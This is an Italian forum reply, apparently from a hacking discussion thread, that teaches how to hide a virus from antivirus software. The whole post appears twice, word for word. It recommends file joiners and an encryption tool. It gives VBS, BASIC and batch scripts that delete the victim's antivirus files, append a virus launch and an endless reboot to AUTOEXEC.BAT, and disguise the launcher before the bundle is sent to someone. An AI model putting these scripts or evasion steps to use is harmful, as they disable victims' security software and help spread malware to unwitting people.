Domanda Programma per cryptare un file?
- Autore discussione emanue91
- Data d'inizio
Perca
Utente Attivo
- 22 Gennaio 2011
- 322
- 0
- Miglior risposta
- 0
Riferimento: Programma per cryptare un file?
L'antivirus può fare due ricerche, quella Euristica e quella nelle Firme Digitali. La prima consiste nel cercare nel file che analiziamo una stringa in grado di svolgere azioni insolite o comunque azioni dannose al nostro pc, mentre la seconda consiste nel mettere a confronto il codice del file analizzaato con quelli memorizzati come virus dall'antivirus.
1° Tecnica
Una tecnica che possiamo usare x nascondere i virus sono i joiner. Il loro scopo è quello di creare un file .EXE che non è altro che l'unione di due file (uno di questi deve essere per forza un .EXE). L'antivirus non riconosce il virus unito ad un altro file perchè non ne risconosce la firma digitale... Questa tecnica ha solo un difetto: i file ottenuti sono molto pesanti. Il migliore joiner in circolazione è Blade Joiner proprio perchè unisce semplicità di utilizzo a una maggiore funzionalità.
2° Tecnica
Una buona tecnica per eludere l'antivirus è proprio quella di eliminarlo ma è molto più complessa del precedente metodo. Per utilizzare questa tecnica basta creare un file .VBS (con il bloc note), eseguirlo, riavviare il computer e poi iniettare il virus. il file .VBS deve essere salvato come CERCA.VBS e deve contenere le seguenti stringhe:
'*********************************************
Cerca files antivirus e distruggi
'*********************************************
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
Dim windir,systemdir
object = "C:" ' Il drive in cui devi effettuare la ricerca
On Error Resume Next
Dim fso, f1, f2, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f2 = fso.GetFile(object & "danieletempinserisci_il.nome") 'Inserisci il nome del file
f2.Delete
'Nel caso non sappiate quale antivirus sia installato nel computer della vittima vi consiglio di inserire più nomi di files da cercare ed eliminare. Basta compiare per più volte il codice che si trova dopo il "On Error resume next" e prima di questo suggerimento.
Sub Welcome()
Dim intDoIt
intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
Rinomina il file CERCA.VBS con CERCA.VBSS
A questo punto c'è il bisogno di aggiungere una stringa nel file AUTOEXEC.BAT affinche apra il virus subito dopo il riavvio del pc. In questo caso bastano poche e semplici righe di Basic:
REM *********************************************
REM *
REM * Aggiugni stringhe a file autoexec.bat
REM *
REM *
REM *
REM *
REM *
REM *********************************************
REM RINOMINA IL FILE COME CON.BAS
10 CLS
20 OPEN ("C:AUTOEXEC.BAT") FOR APPEND AS #1
30 PRINT #1, " " 'Inserisci tra le virgolette il nome del virus. Non dimenticarti del ' percorso se il file non si trova nella directory C:
40 PRINT #1,"c:windowsrundll32.exe user,exitwindows" 'Riavvia il pc all'infinito...
50 CLOSE
60 END
A questo punto compiliamo il file CON.BAS. Il risultato sarà CON.EXE. Rinomina CON.EXE in CON.EYE
Dopo aver fatto questo bisogna cerare un file BAT che smascheri la nostra azione e che esegua altri due file...ecco il codice:
@Echo off
echo *********************************************>nul
echo * *>nul
echo * Rinomina i files, eseguili,cancellali e *>nul
echo * *>nul
echo * riavvia il pc. *>nul
echo * *>nul
echo * *>nul
echo * *>nul
echo * *>nul
echo * *>nul
echo *********************************************>nul
@Echo>nul
@Echo RINOMINA IL FILE SETUP.BAT>NUL
@Ren CERCA.VBSS CERCA.VBS
@Ren CON.EYE CON.EXE
@cerca.vbs
@Con.exe
@c:windowsrundll32.exe user,exitwindows
@ExiT
In questo caso bisogna nascondere il codice sorgente del file SETUP.BAT affinchè sia più credibile. A questo proposito apriamo il programma bat2com e scriviamo:
bat2com SETUP.BAT
Il risultato sarà SETUP.COM
A questo punto possiamo racchiudere in una cartella o in un file compresso il virus più i file creati e inviarla a qualcuno..!!!
3° Tecnica
Questa tecnica consiste nell'encryptare un file in modo che non possa essere disassemblato e quindi neanche riconosciuto dal sistema di riconoscimento della firma digitale dell'antivirus. L'unico problema, è il programma. Che è infatti difficilmente reperibile soprattutto per i virus MS-DOS. Il programma migliore è ExOm. Per encryptare un file basta digitare...
exom nomefile.estensione
Nessuna di queste tecniche da sola garantisce un affidabilità del 100%. Il massimo da fare è quello di mescolarle insieme per far un virus che non venga rilevato quasi sicuramente.
L'antivirus può fare due ricerche, quella Euristica e quella nelle Firme Digitali. La prima consiste nel cercare nel file che analiziamo una stringa in grado di svolgere azioni insolite o comunque azioni dannose al nostro pc, mentre la seconda consiste nel mettere a confronto il codice del file analizzaato con quelli memorizzati come virus dall'antivirus.
1° Tecnica
Una tecnica che possiamo usare x nascondere i virus sono i joiner. Il loro scopo è quello di creare un file .EXE che non è altro che l'unione di due file (uno di questi deve essere per forza un .EXE). L'antivirus non riconosce il virus unito ad un altro file perchè non ne risconosce la firma digitale... Questa tecnica ha solo un difetto: i file ottenuti sono molto pesanti. Il migliore joiner in circolazione è Blade Joiner proprio perchè unisce semplicità di utilizzo a una maggiore funzionalità.
2° Tecnica
Una buona tecnica per eludere l'antivirus è proprio quella di eliminarlo ma è molto più complessa del precedente metodo. Per utilizzare questa tecnica basta creare un file .VBS (con il bloc note), eseguirlo, riavviare il computer e poi iniettare il virus. il file .VBS deve essere salvato come CERCA.VBS e deve contenere le seguenti stringhe:
'*********************************************
Cerca files antivirus e distruggi
'*********************************************
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
Dim windir,systemdir
object = "C:" ' Il drive in cui devi effettuare la ricerca
On Error Resume Next
Dim fso, f1, f2, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f2 = fso.GetFile(object & "danieletempinserisci_il.nome") 'Inserisci il nome del file
f2.Delete
'Nel caso non sappiate quale antivirus sia installato nel computer della vittima vi consiglio di inserire più nomi di files da cercare ed eliminare. Basta compiare per più volte il codice che si trova dopo il "On Error resume next" e prima di questo suggerimento.
Sub Welcome()
Dim intDoIt
intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
Rinomina il file CERCA.VBS con CERCA.VBSS
A questo punto c'è il bisogno di aggiungere una stringa nel file AUTOEXEC.BAT affinche apra il virus subito dopo il riavvio del pc. In questo caso bastano poche e semplici righe di Basic:
REM *********************************************
REM *
REM * Aggiugni stringhe a file autoexec.bat
REM *
REM *
REM *
REM *
REM *
REM *********************************************
REM RINOMINA IL FILE COME CON.BAS
10 CLS
20 OPEN ("C:AUTOEXEC.BAT") FOR APPEND AS #1
30 PRINT #1, " " 'Inserisci tra le virgolette il nome del virus. Non dimenticarti del ' percorso se il file non si trova nella directory C:
40 PRINT #1,"c:windowsrundll32.exe user,exitwindows" 'Riavvia il pc all'infinito...
50 CLOSE
60 END
A questo punto compiliamo il file CON.BAS. Il risultato sarà CON.EXE. Rinomina CON.EXE in CON.EYE
Dopo aver fatto questo bisogna cerare un file BAT che smascheri la nostra azione e che esegua altri due file...ecco il codice:
@Echo off
echo *********************************************>nul
echo * *>nul
echo * Rinomina i files, eseguili,cancellali e *>nul
echo * *>nul
echo * riavvia il pc. *>nul
echo * *>nul
echo * *>nul
echo * *>nul
echo * *>nul
echo * *>nul
echo *********************************************>nul
@Echo>nul
@Echo RINOMINA IL FILE SETUP.BAT>NUL
@Ren CERCA.VBSS CERCA.VBS
@Ren CON.EYE CON.EXE
@cerca.vbs
@Con.exe
@c:windowsrundll32.exe user,exitwindows
@ExiT
In questo caso bisogna nascondere il codice sorgente del file SETUP.BAT affinchè sia più credibile. A questo proposito apriamo il programma bat2com e scriviamo:
bat2com SETUP.BAT
Il risultato sarà SETUP.COM
A questo punto possiamo racchiudere in una cartella o in un file compresso il virus più i file creati e inviarla a qualcuno..!!!
3° Tecnica
Questa tecnica consiste nell'encryptare un file in modo che non possa essere disassemblato e quindi neanche riconosciuto dal sistema di riconoscimento della firma digitale dell'antivirus. L'unico problema, è il programma. Che è infatti difficilmente reperibile soprattutto per i virus MS-DOS. Il programma migliore è ExOm. Per encryptare un file basta digitare...
exom nomefile.estensione
Nessuna di queste tecniche da sola garantisce un affidabilità del 100%. Il massimo da fare è quello di mescolarle insieme per far un virus che non venga rilevato quasi sicuramente.